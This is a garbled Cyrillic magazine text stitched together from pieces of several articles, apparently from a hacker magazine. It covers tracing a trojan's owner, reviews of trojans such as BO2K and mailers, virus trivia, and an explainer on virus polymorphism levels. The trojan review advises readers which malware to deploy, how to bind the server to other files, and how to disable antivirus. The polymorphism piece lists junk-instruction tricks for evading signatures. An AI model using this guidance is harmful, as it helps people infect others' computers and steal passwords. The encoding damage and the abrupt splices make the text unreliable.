îêàæåòñÿ è òðîÿí. Çàïóñêàåì Task
Manager è íà÷èíàåì èçó÷àòü ñïèñîê
ïðîöåññîâ â ïîèñêàõ "ëåâîãî". Áîëü-
øèíñòâî òðîÿíîâ íå íàçûâàþò ñâîè
ïðîöåññû ïîäîçðèòåëüíûìè èìåíàìè,
à âûáèðàþò ÷òî-òî íåéòðàëüíîå, âðî-
äå "print service" èëè "sound mixer".
Íî êàêîé, ê ÷åðòó, ñàóíäìèêñåð, åñëè ó
íàñ çàïóùåíû òîëüêî îñíîâíûå ñëóæ-
áû? Òàê ÷òî èùè âñå, îòëè÷íîå îò ÿä-
ðà ñèñòåìû. Åñëè òðîÿí âñå åùå íå
íàéäåí, ìîæåøü îòêàçûâàòüñÿ îò ïî-
èñêîâ: óâû, ýòîò ýêçåìïëÿð òåáå íå ïî
çóáàì (èëè ýòî ïðîñòî ïàðàíîéÿ).

4. Èòàê, ìû çíàåì, â êàêîì ôàéëå
ñèäèò òðîÿí! Ëó÷øå âñåãî âçÿòü â ðó-
êè äèçàññåìáëåð è ðàçîáðàòüñÿ ñ íèì
ðàç è íàâñåãäà. Åñëè ñ äèçàñìîì òóãî,
÷èòàé äàëüøå. Çàïóñêàåì regedit è
èùåì â ðååñòðå âñå óïîìèíàíèÿ îá
ýòîì ôàéëå. À íàéòè ìîæíî ìíîãî èí-
òåðåñíîãî: ìûëî, íà êîòîðîå óõîäÿò
òâîè ïàðîëè, ïîðò, ïî êîòîðîìó ñîå-
äèíÿåòñÿ áýêäîð, ðàñïîëîæåíèå êî-
ïèé òðîÿíà íà òâîåì âèíòå è ò.ä. Åñëè
âñÿ èíôîðìàöèÿ î õîçÿèíå åñòü â ðå-
åñòðå - ïîçäðàâëÿþ, ÷òî òû áóäåøü
äåëàòü äàëüøå, çàâèñèò èñêëþ÷è-
òåëüíî îò òåáÿ è, ãëàâíîå, îò òâîèõ
âîçìîæíîñòåé :).
5. Åñëè ïîèñê ïî ðååñòðó íè÷åãî íå

äàë, çàïóñêàåì ïîèñê ïî âñåìó âèíòó:
íàñ èíòåðåñóþò ôàéëû, ñîäåðæàùèå
èìÿ òðîÿíà. Êîíü ìîæåò õðàíèòü ñâîè

íàñòðîéêè â êàêîì-íèáóäü wincmd.ini,
ïîä ñàìûì òâîèì íîñîì.
6. Åñëè è ïÿòûé ïóíêò íå äàë ðå-

çóëüòàòîâ, äåëàåì ñëåäóþùåå: âíèìà-
òåëüíî ïðîñìàòðèâàåì ôàéë, â êîòî-
ðîì ñèäèò òðîÿí. Ìîæíî íàéòè ìíîãî
èíòåðåñíîãî: ýëåêòðîííûé àäðåñ õîçÿ-
èíà, IP, ïîðòû è ò.ä. ß âèäåë ìíîãî òðî-
ÿíîâ-ìåéëåðîâ, êîòîðûå õðàíèëè â
íåçàøèôðîâàííîì âèäå àäðåñ, ïî êî-
òîðîìó îòñûëàëè èíôó.
7. Èòàê, âñå ïðåäûäóùèå ìåòîäû íå

ïîìîãëè, èëè òåáå íóæíà äîïîëíè-

òåëüíàÿ èíôîðìàöèÿ î õîçÿèíå. Âñå
äîâîëüíî ïðîñòî: ñòàâèì firewall (ÿ
ïðåäïî÷èòàþ ZoneAlarmPro) è âûõî-
äèì â îíëàéí. Òðîÿí, áóäü òî ìåéëåð
èëè áýêäîð, ïåðèîäè÷åñêè ïðîâåðÿåò,
íàõîäèòñÿ ëè êîìïüþòåð â Ñåòè, è, åñ-
ëè òàê, îòïðàâëÿåò äîìîé âîðîâàí-
íóþ èíôó èëè ïûòàåòñÿ ñîåäèíèòüñÿ
ñ êëèåíòîì. Âîò â ýòîò ìîìåíò, ëþáîé
íîðìàëüíûé áðàíäìàóýð âûâîäèò ñî-
îáùåíèå, äåñêàòü, òàêàÿ-òî ïðîãðàì-
ìà (âîò òðîÿí è ïîïàëñÿ) ïûòàåòñÿ
îòêðûòü ñîåäèíåíèå íà òàêîì-òî ïîð-
òó - ðàçðåøèòü? Íàì íóæåí õîçÿèí,
ïîýòîìó ðàçðåøàåì. Òðîÿí ñïîêîéíî
ñîåäèíÿåòñÿ ñ äîìîì, è íàø ôàåðâîë
ïîêàçûâàåò IP-àäðåñ ýòîãî ñàìîãî äî-
ìà! Âñå, ðóáèì ñîåäèíåíèå, èçáàâëÿ-
åìñÿ îò òðîÿíà è íà÷èíàåì âñïîìè-
íàòü, ÷òî ìîæíî ñäåëàòü ñ ÷åëîâåêîì,
çíàÿ åãî IP :).

ICH BIN TROJAN
Òåïåðü ÿ ïîäåëþñü âïå÷àòëåíèÿ-

ìè î íåêîòîðûõ òðîÿíàõ, ïîïàâøèõñÿ
ìíå íà ãëàçà çà ïîñëåäíåå âðåìÿ.
Êñòàòè, òû çíàåøü, êàê ðàçáèðàòüñÿ â
îñîáåííîñòÿõ ðàáîòû êîíêðåòíîãî
òðîÿíà, íå èìåÿ æåðòâû? Â ñëó÷àå ñ
ìåéëåðàìè âñå ïðîñòî - ñòàâèøü â
íàñòðîéêàõ ñâîé àäðåñ è ÷èòàåøü
ñîáñòâåííûå ïàðîëè, ñìîòðèøü, êàêèå
àíòèâèðóñû îáíàðóæèâàþò òðîÿí è
ò.ä. Åñëè æå òåáÿ èíòåðåñóåò áýêäîð,
çàïóñêàåøü ó ñåáÿ íà ìàøèíå ñåðâåð
è êîííåêòèøüñÿ ê íåìó ÷åðåç êëèåíò
ïî IP 127.0.0.1. Òàêèì îáðàçîì áåç
ëèøíåãî ðèñêà ìîæíî ðàçîáðàòüñÿ â
òîíêîñòÿõ íàñòðîéêè è ðàáîòû òðîÿíà,
ïðåæäå ÷åì èñïîëüçîâàòü åãî ïî-íàñ-
òîÿùåìó.

BO2K (backdoor, ðàçìåð ñåðâåðà 112
Êá, íåâèäèì äëÿ TaskInfo â 9x)

Òîëüêî íå ãîâîðè, ÷òî íå ñëûøàë
î íåì. ß íå õîòåë âêëþ÷àòü â
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Ïîïðîñè ó
çíàêîìîãî
âèðìåéêåðà
íàïèñàòü
ïðîãðàììó,
âûâîäÿùóþ
íà ýêðàí
ñòðîêó, òàê,
÷òîáû òû
íå ñìîã ðà-
çîáðàòüñÿ â
èñõîäíèêàõ
- áóäü óâå-
ðåí, òû íå
ðàçáåðåøü-
ñÿ :).

Òóò óæå
îòêðûâàåò-
ñÿ ïðîñòîð
äëÿ èçîù-
ðåííîé
ôàíòàçèè:
ìîæíî âû-
ðóáèòü íà
óäàëåííîì
êîìïå àíòè-
âèðóñ, ìîæ-
íî ïîñòà-
âèòü åùå
ïàðó òðîÿ-
íîâ - íà
âñÿêèé ñëó-
÷àé...

Èùåì ëåâûå ïðîöåññû...

Êîííåêòèìñÿ ñàìè ê ñåáå ÷åðåç

BackOrifice

ß çà ñîáîé íàáëþäàþ :)

Ëó÷øå âñåãî âçÿòü â ðóêè 
äèçàññåìáëåð è ðàçîáðàòüñÿ 

ñ íèì ðàç è íàâñåãäà.



ñòàòüþ îïèñàíèå òàêèõ èçâåñòíûõ
òðîÿíîâ, êàê NetBus èëè GirlFriend,
íî îáîéòè ìîë÷àíèåì BackOrifice ÿ
ïðîñòî íå ìîã.

Ñàìûé íàâîðî÷åííûé áýêäîð èç
âñåõ, ÷òî ÿ âèäåë. Åäèíñòâåííûé èç
ïåðå÷èñëåííûõ â ýòîì ðàçäåëå òðîÿ-
íîâ, êîòîðûé ñìîã óêðûòü ñâîé ïðî-
öåññ îò TaskInfo. Î BO2K ìîæíî íàïè-
ñàòü íå îäíó ñòàòüþ: ãèáêîå êîíôèãó-
ðèðîâàíèå, ðàçëè÷íûå ñïîñîáû øèô-
ðîâàíèÿ, íåñêîëüêî äåñÿòêîâ ïëàãè-
íîâ, Linux-âåðñèÿ - ýòèì ñïèñîê äîñòî-
èíñòâ BackOrifice íå èñ÷åðïûâàåòñÿ.
Íî ðåêîìåíäîâàòü ýòîò òðîÿí äëÿ èñ-
ïîëüçîâàíèÿ ÿ íå ìîãó èç-çà îäíîãî-
åäèíñòâåííîãî íåäîñòàòêà, êîòîðûé
ñâîäèò íà íåò âñå åãî äîñòîèíñòâà.
Äåëî â òîì, ÷òî BackOrifice íàñòîëüêî
ðàñïðîñòðàíåí è èçâåñòåí, ÷òî íàóêà
íå çíàåò àíòèâèðóñà, íåñïîñîáíîãî
åãî îáíàðóæèòü. Ðåáÿòà èç
CultDeadCow ïûòàëèñü èñïðàâèòü ýòî,
ðåëèçÿ ïëàãèíû, ïðèçâàííûå ñêðû-
âàòü BO îò êîíêðåòíûõ àíòèâèðåé, íî
â öåëîì ñèòóàöèÿ íå èçìåíèëàñü, è
ñåãîäíÿ BackOrifice2000 - îòëè÷íûé
èíñòðóìåíò äëÿ óäàëåííîãî àäìèíèñò-
ðèðîâàíèÿ, íî íèêàê íå òðîÿí.

Íàå@è ñîñåäà (mailer, ðàçìåð ñåðâå-
ðà 13 Êá, âèäèì äëÿ TaskInfo)

Ýòîò ìåéëåð ïîëüçóåòñÿ â Ðîññèè
îñîáûì óñïåõîì, ÿ áû äàæå ñêàçàë,
÷òî ýòî íàø íàöèîíàëüíûé òðîÿí.
Ýëåìåíòàðíî íàñòðàèâàåòñÿ, ýëåìåí-
òàðíî èñïîëüçóåòñÿ. Ïðèìå÷àòåëåí
òàêæå ìàëåíüêèé ðàçìåð ñåðâåðà, òàê
÷òî òðîÿí ìîæíî íåçàìåòíî ïðèñîå-
äèíèòü ê äðóãîé ïðîãðàììå. Îäíèì
ñëîâîì, íàðîäíûé âûáîð: çíàíèé íå
òðåáóåòñÿ íèêàêèõ, ýôôåêòèâíîñòü
âûñîêàÿ.

Anti-Lamer Light (mailer, ðàçìåð ñåð-
âåðà 24 Êá, âèäèì äëÿ TaskInfo)

Ïðîñòåíüêèé ïî÷òîâûé òðîÿí, îáå-
ùàåò âûðóáàòü èçâåñòíûå åìó àíòè-
âèðóñû è ôàåðâîëû. ×åðåç êîíôèãó-
ðàòîð ñåðâåð ìîæíî ñêëåèòü ñ äðóãèì
ôàéëîì.

Ýòî "îáëåã÷åííàÿ âåðñèÿ" òðîÿíà
Anti-Lamer Backdoor, êîòîðûé èìååò
íåñêîëüêî èíòåðåñíûõ âîçìîæíîñ-
òåé, íî, êîíå÷íî, è â ïîäìåòêè íå ãî-
äèòñÿ BO.

FurierTrojan (mailer, ðàçìåð ñåðâåðà
38 Êá, âèäèì äëÿ TaskInfo)

Õì. Áîëüøîé ñåðâåð, îòñóòñòâèå âîç-
ìîæíîñòåé äëÿ êîíôèãóðàöèè (íàñò-
ðàèâàåòñÿ òîëüêî e-mail), îïðåäåëÿåò-
ñÿ TaskInfo. Êîðî÷å ãîâîðÿ, íå íàø
âûáîð.

GROB (backdoor/mailer, ðàçìåð ñåð-
âåðà 49 Êá, âèäèì äëÿ TaskInfo)

Ïîëíîöåííûé ìåéëåð ñ íåêîòîðûìè
âîçìîæíîñòÿìè áýêäîðà. Ñàìîçàùèòà
- ìèíèìàëüíàÿ, àëãîðèòì ðàáîòû -
ñòàíäàðòíûé, ñåðâåð - áîëüøîé. Åäèí-
ñòâåííûì ïðåèìóùåñòâîì ïåðåä ñîá-
ðàòüÿìè ÿâëÿåòñÿ ïðèÿòíûé èíòåð-
ôåéñ êëèåíòà :).

Çíàåøü, çà÷åì ÿ äîáàâèë ê ñòàòüå
ýòîò êðàòêèé îáçîð? ×òîáû òû óëîâèë
îáùåå ñîñòîÿíèå "ðûíêà òðîÿíîâ" íà
ñåãîäíÿ. ×òî ìû âèäèì: íîâûõ áýêäî-
ðîâ ïðàêòè÷åñêè íåò, çàùèòû íå õâà-
òàåò äàæå íà òî, ÷òîáû êà÷åñòâåííî
ñïðÿòàòü ñâîé ïðîöåññ, ïîâñþäó íèç-
êîñîðòíûå ïî÷òîâûå òðîÿíû, ôàíòà-
çèÿ àâòîðîâ îãðàíè÷èâàåòñÿ âûâåäå-
íèåì îêîøêà "data.cab not found". Íî
â ïîñòîÿííîì ïîÿâëåíèè íîâûõ òðîÿ-
íîâ, ïóñòü è íèçêîïðîáíûõ, åñòü ñâîè
ïëþñû. Ïîìíèøü, ÷òî ÿ ãîâîðèë î
BackOrifice? Ïðè òîì, ÷òî òåõíè÷åñêè
ýòî ñàìûé õîðîøèé áýêäîð èç ñóùå-
ñòâóþùèõ, èñïîëüçîâàòü åãî ñåãîäíÿ,
ïî ìåíüøåé ìåðå, ãëóïî. Â òî æå âðå-
ìÿ, ïðèìèòèâíûé òðîÿí, âûøåäøèé
íåäåëþ íàçàä, è ïîýòîìó åùå íå çà-
íåñåííûé â áàçû àíòèâèðóñîâ, áóäåò
ãîðàçäî ýôôåêòèâíåå ìîãó÷åãî
BO2K. Â êà÷åñòâå "çîëîòîé ñåðåäè-
íû" ìîæíî ïîñîâåòîâàòü èñïîëüçî-
âàòü òàêèå ýêçåìïëÿðû, êàê
DonaldDick èëè NetSphere, êîòîðûå
ÿâëÿþòñÿ ïðîìåæóòî÷íûì çâåíîì
ìåæäó ýëèòíûìè, íî ñëèøêîì ðàñïðî-
ñòðàíåííûìè òðîÿíàìè è ìàëîèçâåñò-
íûìè íèçêîñîðòíûìè.

PP..SS.. ÐÐààççääóóììûûââààÿÿ,, ããääåå ááûû ññêêàà÷÷ààòòüü ííååññ-
êêîîëëüüêêîî ííîîââûûõõ òòððîîÿÿííîîââ ääëëÿÿ îîááççîîððàà,, ÿÿ
îîòòïïððààââèèëëññÿÿ ííàà ÃÃóóããëë èè ññääååëëààëë ççààïïððîîññ
ïïîî ññëëîîââóó ""ttrroojjaann"".. ÒÒààêê ÿÿ îîòòêêððûûëë ääëëÿÿ ññåå-
ááÿÿ ññààééòò wwwwww..ttrroojjaannccoonnddoommss..ccoomm.. ××ååããîî
òòîîëëüüêêîî ííåå ïïððèèääóóììààþþòò ::))..  A
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Ëàìåðû, òðåïåùèòå!

Êðàñèâûé èíòåðôåéñ,

à êàê òðîÿí - òàê ñåáå

ÑÀÌÛÉ ÌÓÇÛÊÀËÜÍÛÉ

Ìíîãèå ñòàðûå âèðè ëþáèëè
èãðàòü ìóçûêó - "ÿíêè äóäëü", "Ê
Ýëèçå", Ãèìí ÑÑÑÐ, íàêîíåö, íî
1 ìåñòî îòäàíî âèðóñó HOLMS çà
èñïîëíåíèå ìóçûêè èç îòå÷åñò-
âåííîãî õ/ô "Ïðèêëþ÷åíèÿ
Øåðëîêà Õîëìñà è äîêòîðà Âàò-
ñîíà". Ìåæäó ïðî÷èì, ìóçûêó èç
íåãî âçÿë è È.Äàíèëîâ êàê çâó-
êîâîå îïîâåùåíèå â ñòàðîì
Dr.Webe. ß èìåþ â âèäó ñîáûòèå
"Çàðàæåíèå íåèçâåñòíûì âèðó-
ñîì" :). Ýòó ìóçûêà åñòü â êîë-
ëåêöèè âèðóñíûõ ýôôåêòîâ íà
íàøåì äèñêå.

ÑÀÌÛÉ ÊÐÀÑÎ×ÍÛÉ

Íè÷åì, â îáùåì, íå ïðèìå÷à-
òåëüíûé âèðóñ LSD, íàïèñàí-
íûé â íà÷àëå 90-õ, ïðîñòî ïîðà-
çèë ìåíÿ ñâîèìè ýôôåêòàìè. Çà
èñòåêøèå 10 ëåò âèðìåéêåðû íå
ïðèäóìàëè íè÷åãî ëó÷øå, ïîý-
òîìó - ñêîðåé áåãè íà äèñê è çà-
ïóñêàé LSD.com. Ýòî - âûäðàí-
íûé èç âèðóñà ýôôåêò. Íå áîé-
ñÿ, ýòî áåçîïàñíî. Íàâåðíîå,
åäèíñòâåííûé ëåãàëüíûé ñïî-
ñîá ïî÷óâñòâîâàòü ãëþêè ÷åëî-
âåêà, îáäîëáèâøåãîñÿ ËÑÄ.

ÏÎÁÅÄÈÂØÈÉ
ÀÍÒÈÂÈÐÓÑ

One Half. Äà, èìåííî ýòîò
ñòàðåíüêèé ïîëèìîðôíûé âè-
ðóñ, íàäåëàâøèé ìíîãî øóìà
â ex-USSR. Îí ñîñòàâèë õîòü
êàêóþ-òî êîíêóðåíöèþ àíòèâè-
ðóñíèêàì. Äåëî â òîì, ÷òî ýòîò
ìîíñòð èìåë ìàëåíüêîå õîááè
- ñ êàæäîé ïåðåçàãðóçêîé
øèôðîâàòü ïî 2 öèëèíäðà
äèñêà. Ïåðâûì àíòèâèðóñîì,
êîòîðûé ñìîã åãî âûëå÷èòü,
áûë Dr.Web. Äåéñòâèòåëüíî,
òåëî âèðóñà èç ôàéëîâ îí óäà-
ëÿë, à âîò ðàñøèôðîâûâàòü -
çàáûâàë, âñëåäñòâèå ÷åãî
þçåð ïîëó÷àë íåõèëóþ ïîòå-
ðþ èíôîðìàöèè. Ïðàâäà, âñå
çàêîí÷èëîñü õîðîøî - Web
áûñòðî îáðàçóìèëñÿ, è íîâûå
âåðñèè âûíîñèëè "ïîëîâèí-
ùèêà" óæå áåç ïîòåðü.

Ëîçîâñêèé Àëåêñàíäð 
(alexander@real.xakep.ru)

CÀÌÛÅ-ÑÀÌÛÅ ÂÈÐÓÑÛ



Äîêó÷àåâ Äìèòðèé aka Forb (forb@real.xakep.ru)

Ê àê èçâåñòíî, ïåðâûå âèðóñû ïîÿâèëèñü äàâíî. Îíè çàðàæàëè äðåâíèå êîìïüþòåðû,
è íè÷òî íå ìîãëî èõ îñòàíîâèòü, êðîìå áäèòåëüíîãî ïîëüçîâàòåëÿ ìàøèíû. Çàòåì

áûëè ïðèäóìàíû àíòèâèðóñû, îïðåäåëÿþùèå çàðàçó ïî õàðàêòåðíûì ñèìïòîìàì. Íî ÷å-
ðåç êàêîå-òî âðåìÿ âèðü ïåðåñòàë áûòü òóïîé ìèøåíüþ äëÿ àíòèâèðóñíèêà. Òåïåðü âè-
ðóñ áûë íàäåëåí ñïåöèàëüíûìè íàâîðîòàìè, ÷òî ïîçâîëÿëî åìó áûòü íåçàìå÷åííûì â
ñèñòåìå. Îäíèì èç âàðèàíòîâ çàùèòû îò îïðåäåëåíèÿ ÿâëÿåòñÿ ïîëèìîðôèçì. Â äàëå-
êîì 1990 ãîäó îí ÷óòü áûëî íå ïîãóáèë âñþ àíòèâèðóñíóþ èíäóñòðèþ...

ÒÅÕÍÈÊÀ
ØÈÔÐÎÂÀÍÈß
ÂÂÅÄÅÍÈÅ Â ÏÎËÈÌÎÐÔÈÇÌ

ÊÀÊ 
ÝÒÎ ÐÀÁÎÒÀÅÒ?

Âîîáùå, ïîëèìîðôèçì -
âûñîêîêëàññíàÿ òåõíèêà, ïîç-
âîëÿþùàÿ âèðóñó áûòü íåçà-

ìå÷åííûì ïî ñòàíäàðòíîé ñèãíàòóðå (èëè,
ïîïðîñòó, ìàñêå). Îáû÷íî äåòåêòîðû çàðàçû
îïðåäåëÿþò âèðü ïî õàðàêòåðíûì êóñêàì åãî
êîäà. Â ñëó÷àå ñ ïîëèìîðôèêîì òàêîå íå
ïðîêàòèò. Äâà ôàéëà, çàðàæåííûå îäíèì è
òåì æå âèðóñîì, âñåãäà áóäóò èìåòü ðàçíûé
ðàçìåð. Êàê òû ïîíèìàåøü, çàäåòåêòèòü òà-
êóþ çàðàçó î÷åíü ñëîæíî. Äëÿ ýòîãî ïðèìå-
íÿþòñÿ ðàçëè÷íûå ìåòîäû, êîòîðûå áóäóò èç-
ëîæåíû äàëåå.
Âñå ïîëèìîðôèêè îáÿçàòåëüíî ñíàáæàþòñÿ
ðàñøèôðîâùèêîì êîäà, êîòîðûé ïî îïðåäå-
ëåííîìó ïðèíöèïó ïðåîáðàçóåò ïåðåäàííûé
åìó êîä, âûçûâàÿ ïðè ýòîì ñòàíäàðòíûå
ôóíêöèè è ïðîöåäóðû îïåðàöèîííîé ñèñòå-
ìû. Ñàìè ìåòîäû øèôðîâàíèÿ ìîãóò áûòü
ðàçíûìè, íî, êàê ïðàâèëî, êàæäàÿ îïåðàöèÿ
èìååò ñâîþ çåðêàëüíóþ ïàðó. Â àññåìáëåðå
ýòî ðåàëèçóåòñÿ î÷åíü ïðîñòî, è òàêèõ ïàð
ìîæåò áûòü ìíîãî - ADD/SUB, XOR/XOR,
ROL/ROR è ò.ï. Ïîäîáíûå îïåðàöèè ïðîâî-
äÿòñÿ äëÿ ðàñøèôðîâêè ÿ÷ååê ïàìÿòè.
Íåìàëîâàæíîé îñîáåííîñòüþ ïîëèìîðôà
ÿâëÿåòñÿ òî, ÷òî âèðóñ ñîäåðæèò ìóñîð, òî
åñòü îïåðàíäû, ôóíêöèè è ïðîöåäóðû, êîòî-
ðûå ñëóæàò ëèøü äëÿ çàïóòûâàíèÿ êîäà. Ïðè
ýòîì ðåàëèçóþòñÿ äâå öåëè:

1. Ñëîæíîñòü èçó÷åíèÿ êîäà ïðè òðàññè-
ðîâêå ôàéëà. Ýòà öåëü àêòóàëüíà ëèøü äëÿ
íîâè÷êà, ïðîôåññèîíàë, êîòîðûé ñîáàêó ñú-

åë íà èçó÷åíèè âèðóñîâ, ñðàçó âî âñåì ðàç-
áåðåòñÿ.
2. Óâåëè÷åíèå ýëåìåíòà ñëó÷àéíîñòè â

ðàñøèôðîâùèêå. Ïîìíèøü, ÿ ãîâîðèë ïðî
çåðêàëüíûå êîìàíäû? Ìåñòî èõ âñòàâêè èìå-
åò îãðîìíîå âëèÿíèå íà ðàçìåð êîäà. Ñ ìóñî-
ðîì æå ïîÿâëÿþòñÿ íîâûå âàðèàíòû êîìïî-
íîâêè êîäà. Ðàçìåð ïðè êàæäîì èç íèõ áóäåò
ðàçíûì.

Àññåìáëåð äàåò áåçãðàíè÷íûå âîçìîæíîñòè
ïî âñòàâêå ìóñîðà, ïîýòîìó âñòàâêè ìîãóò
áûòü ðàçëè÷íûìè. Âîò íåêîòîðûå èõ âèäû:

1. Ðåãèñòðîâûå îïåðàöèè. Êàê ïðàâèëî,
àðèôìåòè÷åñêèå è ëîãè÷åñêèå. Ïðèìåðîì ìî-
ãóò ñëóæèòü ñëåäóþùèå êîìàíäû: inc ax; mov
ax,[si+bx-04]; add ax,1234h è äð.
2. Çåðêàëüíûå êîìàíäû. Òàêèå, êàê

add/sub, inc/dec è ïðî÷èå. Ïðî íèõ ÿ óïîìè-
íàë âûøå.
3. Ëîæíûå ïåðåõîäû, à òàêæå âûçîâ ïîäï-

ðîãðàìì, ñîäåðæàùèõ ìóñîð (jmp $+10h; call
XXXXh).
4. Ïðîñòîé ìóñîð èç îäèíî÷íûõ îïåðàíäîâ

(daa; nop; cld è ò.ä.).

ÓÐÎÂÍÈ ÏÎËÈÌÎÐÔÈÇÌÀ
Âûäåëÿþò íåñêîëüêî óðîâíåé ïîëèìîð-

ôèçìà, èñïîëüçóåìûõ â âèðóñå. Êàæäûé èç
íèõ ïî-ðàçíîìó ðåàëèçóåò íåîäèíàêîâûé
ðàçìåð ôàéëîâ, êîòîðûå áûëè çàðàæåíû.

ÓÓððîîââååííüü 11.. Ñàìûå ïðîñòûå îëèãîìîðôíûå âè-
ðóñû. Îíè èñïîëüçóþò ïîñòîÿííûå çíà÷åíèÿ
äëÿ ñâîèõ ðàñøèôðîâùèêîâ, ïîýòîìó ëåãêî
îïðåäåëÿþòñÿ àíòèâèðóñàìè. Èç çà ýòîãî çà-

»
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42 Ïîäâèæíûå âèðóñû:
ìèô èëè ðåàëüíîñòü?
Òåõíîëîãèè ðàñïðîñòðàíåíèÿ
÷åðâåé

48 Çàðàæåíèå ôàéëîâ
6 ñïîñîáîâ èíôèöèðîâàòü PE-ôàéë

50 Ïèøåì ñâîé ñòåëñ
Ñòåëñ-òåõíîëîãèè â âèðóñàõ

54 Èãðû íàñòîÿùèõ
êîäåðîâ
CoreWar aka áîé â ïàìÿòè

60 Áîðüáà çà âûæèâàíèå
Ñïîñîáû çàùèòû îò àíòèâèðóñîâ

62 Ring0
Óõîä â íóëåâîå êîëüöî çàùèòû
Win9x

66 High Level Code
Âèðóñû íà ÿçûêàõ âûñîêîãî óðîâíÿ
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ðàçó ïðîçâàëè "íå î÷åíü ïîëèìîðô-
íîé". Ïðèìåðû òàêèõ âèðóñîâ: Cheeba,
December_3, Slovakia, V-Sign, Whale.

ÓÓððîîââååííüü 22.. Âèðóñû, èìåþùèå îäíó
èëè äâå ïîñòîÿííûå èíñòðóêöèè, êîòî-
ðûå èñïîëüçóþòñÿ â ðàñøèôðîâùè-
êå. Òàêæå îïðåäåëÿþòñÿ ïî ñèãíàòóðå,
íî èìåþò áîëåå ñëîæíîå ñòðîåíèå,
÷åì ïðåäñòàâèòåëè ïåðâîãî óðîâíÿ.
Ïðèìåðû: ABC, DM, Flip, Jerusalem,
Ontario, PC-Flu, Phoenix, Seat, Stasi,
Suomi.

ÓÓððîîââååííüü 33.. Âèðè, èñïîëüçóþùèå â
ñâîåì êîäå êîìàíäû-ìóñîð. ß óæå
óïîìèíàë ïðèíöèï ñòðîåíèÿ òàêîãî
ôàéëà. Ýòà, â ñâîåì ðîäå, ëîâóøêà îò
äåòåêòèðîâàíèÿ, ïîìîãàåò çàïóòàòü
ñîáñòâåííûé êîä. Íî çàðàçà ìîæåò
áûòü çàñå÷åíà ñ ïîìîùüþ ïðåäâàðè-
òåëüíîãî îòñåèâàíèÿ ìóñîðà àíòèâè-
ðóñîì. Âèðóñû Tequila, StarShip, V2Px,
DrWhite ïðèíàäëåæàò ê òðåòüåìó
óðîâíþ ïîëèìîðôèçìà.

ÓÓððîîââååííüü 44.. Èñïîëüçîâàíèå âçàèìîçà-
ìåíÿåìûõ èíñòðóêöèé ñ ïåðåìåøèâà-
íèåì â êîäå, áåç äîïîëíèòåëüíîãî èç-
ìåíåíèÿ àëãîðèòìà ðàñøèôðîâêè, ïî-
ìîãàåò ïîëíîñòüþ çàïóòàòü àíòèâè-

ðóñ. Ïðè ýòîì íåâîçìîæíî "ïîéìàòü"
âèðóñ ïî ñòàíäàðòíîé ìàñêå. Ïðèõî-
äèòñÿ âûïîëíÿòü ïåðåáîð, ïîñëå êîòî-
ðîãî íóæíàÿ ñèãíàòóðà áóäåò íàéäåíà.
Òàê áûëè íàïèñàíû âèðóñû Uruguay,
CLME, APE.

ÓÓððîîââååííüü 55.. Ðåàëèçàöèÿ âñåõ âûøåèç-
ëîæåííûõ óðîâíåé ñ ïîääåðæêîé
ðàçëè÷íûõ àëãîðèòìîâ â ðàñøèôðîâ-
ùèêå ïîìîãàåò äîñòè÷ü âûñîêîãî
óðîâíÿ ïîëèìîðôèçìà. Ïðè ýòîì ìî-
æåò ñóùåñòâîâàòü íåñêîëüêî ïàðàë-
ëåëüíûõ ïðîöåññîâ ðàñøèôðîâêè,
êîãäà îäèí áóäåò ïðåîáðàçîâûâàòü
êîä äðóãîãî èëè íàîáîðîò. Ðàñïîçíà-
âàíèå òàêèõ âèðóñîâ - î÷åíü ñëîæíûé
ïðîöåññ. Äëÿ ýòîãî íåîáõîäèìî ïðî-
èçâåñòè òùàòåëüíûé àíàëèç êîäà ñà-
ìîãî ðàñøèôðîâùèêà. Ñ ëå÷åíèåì
ñëîæíåå - ïðèõîäèòñÿ òðàññèðîâàòü
íå òîëüêî ãåíåðàòîð, íî è òåëî ñàìîãî
âèðóñà äëÿ âûÿâëåíèÿ ïîëíîé èí-
ôîðìàöèè î çàðàæåííîì ôàéëå. Ýòà
ïðîöåäóðà çàíèìàåò äîâîëüíî ïðî-
äîëæèòåëüíîå âðåìÿ è ìîæåò çàêîí-
÷èòüñÿ íåóäà÷íî. Ëå÷èòü âèðóñû ýòî-
ãî óðîâíÿ ìîæåò ëèøü DrWeb, â îñ-
òàëüíûõ ïðîãðàììàõ ýòî ïîïðîñòó íå
ðåàëèçîâàíî. Ê ïðåäñòàâèòåëÿì óðîâ-
íÿ îòíîñÿòñÿ DAME è äð.

ÓÓððîîââååííüü 66 ((ííååèèççëëåå÷÷èèììûûéé)).. È, íàêîíåö,
ñóùåñòâóþò âèðóñû, êîòîðûå ñîñòîÿò
èç ïðîãðàììíûõ åäèíèö-÷àñòåé. Îíè
ïîñòîÿííî ìåíÿþòñÿ â òåëå è ïåðåìå-
ùàþò ñâîè ïîäïðîãðàììû. Ëå÷åíèå
òàêèõ âèðóñîâ ïîêà íå ïðîèçâîäèòñÿ,
íî è äëÿ íàïèñàíèÿ íóæíî î÷åíü õî-
ðîøî ðàçáèðàòüñÿ â àññåìáëåðå. Õà-
ðàêòåðíîé îñîáåííîñòüþ òàêîé çàðà-
çû ÿâëÿþòñÿ ïÿòíà. Ïðè ýòîì â ðàç-
ëè÷íûå ìåñòà ôàéëà çàïèñûâàåòñÿ
íåñêîëüêî áëîêîâ êîäà, ÷òî îáóñëàâ-
ëèâàåò íàçâàíèå ìåòîäà. Òàêèå ïÿòíà
â öåëîì îáðàçóþò ïîëèìîðôíûé ðàñ-
øèôðîâùèê, êîòîðûé ðàáîòàåò ñ êî-
äîì â êîíöå ôàéëà. Äëÿ ðåàëèçàöèè
ìåòîäà äàæå íå íóæíî èñïîëüçîâàòü
êîìàíäû-ìóñîð - ïîäîáðàòü ñèãíàòóðó
áóäåò âñå ðàâíî íåâîçìîæíî. Òàêîé
àëãîðèòì þçàþò âèðè BadBoy,
CommanderBomber, Leech è ò.ï.

ÍÀÏÈÑÀË ÑÀÌ - 
ÏÎÌÎÃÈ ÄÐÓÃÎÌÓ!

Ïîëèìîðôèçì ñòàë î÷åíü ðàñï-
ðîñòðàíåííûì ëèøü áëàãîäàðÿ ðàñ-
øèôðîâùèêó. Óäîáíî òî, ÷òî îäèí
ôàéë ìîæåò ðàáîòàòü ñî ìíîãèìè âè-
ðóñàìè. Ýòèì è ïîëüçóþòñÿ âèðìåé-
êåðû, þçàÿ ÷óæîé ìîäóëü. Ïîäâîä-
íûì êàìíåì ïðè òàêîì ðàñêëàäå ìî-
æåò ñòàòü ñèòóàöèÿ, êîãäà â áàçå àí-
òèâèðóñà õðàíèòñÿ èñïîëüçóåìûé
